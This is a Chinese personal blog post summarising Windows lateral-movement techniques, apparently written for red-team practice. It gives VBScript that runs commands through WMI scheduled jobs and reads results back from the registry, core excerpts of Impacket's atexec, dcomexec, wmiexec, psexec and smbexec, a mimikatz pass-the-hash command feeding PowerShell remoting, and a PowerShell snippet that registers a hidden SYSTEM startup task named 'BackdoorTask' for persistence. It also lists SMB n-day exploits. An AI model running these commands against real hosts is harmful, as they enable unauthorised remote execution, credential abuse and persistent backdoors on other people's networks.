欢迎来到7N的个人博客!

web

win下横向移动技巧总结


avatar
7ech_N3rd 2024-11-17 240

MSRPC-wmi相关利用(135)

计划任务

我们可以通过windows原生的vbscript语言和ps1脚本调用WQL语句

例如:

Function AddJobWithRes(cmd,file,exec_time,time_zone)
    exec_time = "********"&exec_time&"00.000000"&time_zone
    command = "c:\windows\system32\cmd.exe /c " & cmd & " > " & file
    Set objNewJob = objWMIService.Get("Win32_ScheduledJob")
    errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId)
    If errJobCreated <> 0 Then
        Wscript.Echo "WMIHACKER : Error on task creation"
    Else
        Wscript.Echo "WMIHACKER : Task created Wait For Exec...(Max Time is 00:59)"
    End If
    ReplacedFile = Replace(file,"\","\\")
    strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
    Dim done
    done = false
    Do Until done
        Wscript.Sleep 2000
        Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
        For Each objItem in colItems
            WScript.Echo "WMIHACKER : File Write Success. "
            done = true
        Next
    loop
End Function

就能执行命令

不只是写到临时文件里面,我们还可以写到reg注册表里面然后再读取:

Function ReadResult(Version)
    Dim Res32, Res64
    if Version < 6 Then
        Res32 =  GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 32, Version)
        wscript.echo Base64Decode(Res32,False)
    else
        Res32 =  GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 32, Version)
        Res64 = GetStringValue (".", HKEY_LOCAL_MACHINE, "SOFTWARE\Classes\hello\", "part1", 64, Version)
        If Res32 = Empty Then
            wscript.echo Base64Decode(Res64,False)
        else
            wscript.echo Base64Decode(Res32,False)
        end if
    End if
End Function

Function GetStringValue (ByVal Resource, ByVal hDefKey, ByVal SubKeyName, ByVal ValueName, ByVal Architecture, ByVal Version)
    Set oReg = regWMIService.Get("StdRegProv")
    Dim oCtx: Set oCtx = CreateObject("WbemScripting.SWbemNamedValueSet")
    oCtx.Add "__ProviderArchitecture", Architecture
    oCtx.Add "__RequiredArchitecture", True
    Dim oInParams: Set oInParams = oReg.Methods_("GetStringValue").InParameters
    oInParams.hDefKey = hDefKey
    oInParams.sSubKeyName = SubKeyName
    oInParams.sValueName = ValueName
    Dim oOutParams: Set oOutParams = oReg.ExecMethod_("GetStringValue", oInParams, , oCtx)
    GetStringValue = oOutParams.sValue
End Function

就能实现半交互式的shell

具体利用的脚本

https://github.com/rootclay/WMIHACKER

或者是你使用Impacket包的atexec.py

核心代码下

# 创建 AT 计划任务来执行命令
self.dce.rpc_at_svc_add_job(cmd='cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))

# 通过 SMB 读取输出文件
self.smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)

不过是利用了smb获取回显就是了

Dcom+wmi

dcomexec.py 通过 DCOM(分布式组件对象模型)在远程主机上执行命令。它利用 DCOM 的 IWBEMServices 接口调用 WMI 来执行命令。

核心代码:

# 通过 DCOM 调用 WMI 的 Win32_Process 类来执行命令
dcom_client = DCOMConnection(self.target, ...)
iWbemServices = dcom_client.CoCreateInstanceEx(IID_IWbemServices)
iWbemServices.ExecMethod('Win32_Process', 'Create', cmd='cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))

# 通过 SMB 读取输出文件
self.smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)

核心机制:

  • 执行命令:通过 DCOM 调用 WMI 的 Win32_Process.Create() 方法来启动 cmd.exe,并执行命令。

  • 获取输出:与 wmiexec.py 类似,命令输出被重定向到临时文件,然后通过 SMB 读取该文件的内容。

总结:

  • 执行方式:通过 DCOM 调用 WMI 来执行命令。

  • 输出回显:通过 SMB 读取临时文件中的命令输出。

  • 优势:利用 DCOM 进行远程命令执行,适用于有 DCOM 访问权限的环境。

  • 劣势:依赖 DCOM 和 SMB 服务,可能会留下文件痕迹。

WMI接口命令调用

我们不止可以通过wmi::Win32_ScheduledJob类来实现命令执行,我们可以直接通过Win32_process类直接调用:

在impacket包中有wmiexec.py的工具↓

核心代码

# 调用 WMI 的 Win32_Process 类
win32_process = self._dcom.get_interface('WbemLevel1Login').ConnectServer().GetObject('Win32_Process')

# 创建 cmd.exe 进程并执行命令,输出重定向到 SMB 共享目录
win32_process.Create('cmd.exe /Q /c {} > \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt'.format(command))

# 通过 SMB 读取输出文件
self._smb.getFile('C$', 'Windows\\Temp\\output.txt', sys.stdout.write)

# 删除临时文件
win32_process.Create('cmd.exe /Q /c del \\\\127.0.0.1\\C$\\Windows\\Temp\\output.txt')

在命令执行后,就调用smb文件共享服务读取output.txt来获取回显,所以要想利用就得开smb和rpc服务(445+135)

SMB横向相关利用(445)

Nday利用

ms08_067

针对winxp

ms17-010

针对win7+vista-win2008

smbghost(cve-2020-0796)

win10专属

Psexec

非常经典的工具

核心机制:

  • 执行命令:通过 SMB 上传一个临时的服务二进制文件(psexesvc.exe),在目标主机上安装并启动该服务来执行命令。

  • 获取输出:命令的输出直接通过 SMB 管道返回给攻击者。

核心代码:

# 上传 PsExec 服务二进制文件
self.transferClient.putFile(self.share, self.path, data)

# 创建服务来执行命令
dce = self.dce_rpc.connect()
svc_handle = scm.CreateServiceW(sch, service_name, service_name, ...)
svc_handle.StartServiceW(command)

# 通过 SMB 管道获取输出
output = self.transferClient.readPipe(self.share, self.pipe)
  • 执行方式:通过 SMB 上传并启动一个服务来执行命令。

  • 输出回显:通过 SMB 管道直接返回命令输出。

  • 优势:命令输出实时返回,适用于执行复杂命令。

  • 劣势:需要上传可执行文件,可能会被检测到。

Smbexec

smbexec.py 是一种无文件的远程命令执行工具,它通过 SMB 在目标主机上执行命令,并通过 SMB 管道获取命令输出。与 psexec.py 不同,它不需要上传可执行文件。

核心机制:

  • 执行命令:利用 SMB 管道在目标主机上启动 cmd.exe,并通过管道传递命令。

  • 获取输出:命令的输出通过 SMB 管道返回给攻击者。

核心代码:

# 通过 SMB 管道启动 cmd.exe
self.transferClient.execute('cmd.exe /Q /c {}'.format(command))

# 通过 SMB 管道获取输出
output = self.transferClient.readPipe(self.share, self.pipe)

总结:

  • 执行方式:通过 SMB 管道启动 cmd.exe

  • 输出回显:通过 SMB 管道返回命令输出。

  • 优势:无文件执行,命令输出通过管道返回。

  • 劣势:依赖 SMB 管道,可能会受到网络配置的限制。

winrm相关利用(5985)

winrm相关利用(5985)

mimikatz+powershell实现哈希传递

首先利用mimikatz注入哈希到powerhsell.exe:

mimikatz # sekurlsa::pth /user:Administrator /domain:target.local /ntlm:<NTLM_HASH> /run:powershell.exe
powershell>

接着执行:

$session = New-PSSession -ComputerName target.local -Credential $cred
Enter-PSSession -Session $session

winrm持久化

由于winrm是原生windows组件,不会留下额外的后门,所有在持久化上有较好的利用

使用 PowerShell 创建计划任务

攻击者可以通过 WinRM 使用 PowerShell 在远程主机上创建计划任务,从而在系统重启后仍然保持控制:

$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\backdoor.ps1'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'BackdoorTask' -User 'SYSTEM'

这段代码会在目标主机启动后执行 backdoor.ps1 脚本,从而实现持久化控制。

比总结

工具 执行方式 输出回显方式 优势 劣势
wmiexec.py WMI 调用 cmd.exe 重定向到临时文件,通过 SMB 读取 无文件执行,适用于不允许上传文件的场景 依赖 WMI 和 SMB 服务,可能留下痕迹
psexec.py 上传并启动服务 通过 SMB 管道直接获取 实时回显,适用于复杂命令 需要上传可执行文件,容易被检测
smbexec.py 通过 SMB 管道启动 cmd.exe 通过 SMB 管道直接获取 无文件执行,命令输出通过管道返回 依赖 SMB 管道,可能受网络限制
dcomexec.py 通过 DCOM 调用 WMI 重定向到临时文件,通过 SMB 读取 利用 DCOM 进行远程执行 依赖 DCOM 和 SMB 服务,可能留下痕迹
atexec.py 通过 AT 计划任务执行命令 重定向到临时文件,通过 SMB 读取 利用计划任务进行执行 依赖 AT 计划任务和 SMB 服务,可能留下痕迹
winrm+powershell+mimikatz 通过windows自带组件的来执行命令。类似于ssh 直接交互 和正常管理员流量一致 需开启5985或者是5986端口上的winrm服务就是
wmihacker.vbs 通过wmi调用定时任务设置命令 输出到注册表,然后通过rpc来读取注册表 只用开启rpc 135端口就可以利用,不用445 对权限要求较高,需要获取admin用户的凭据

核心区别:

  • 执行方式:不同工具使用了不同的机制来执行命令,包括 WMI、SMB 管道、DCOM、服务和计划任务。

  • 输出回显psexec.pysmbexec.py 通过 SMB 管道实时获取输出,而其他工具则通过重定向输出到临时文件并通过 SMB 读取。

  • 无文件与文件执行wmiexec.pysmbexec.py 是无文件执行,而 psexec.py 需要上传可执行文件。

暂无评论

发表评论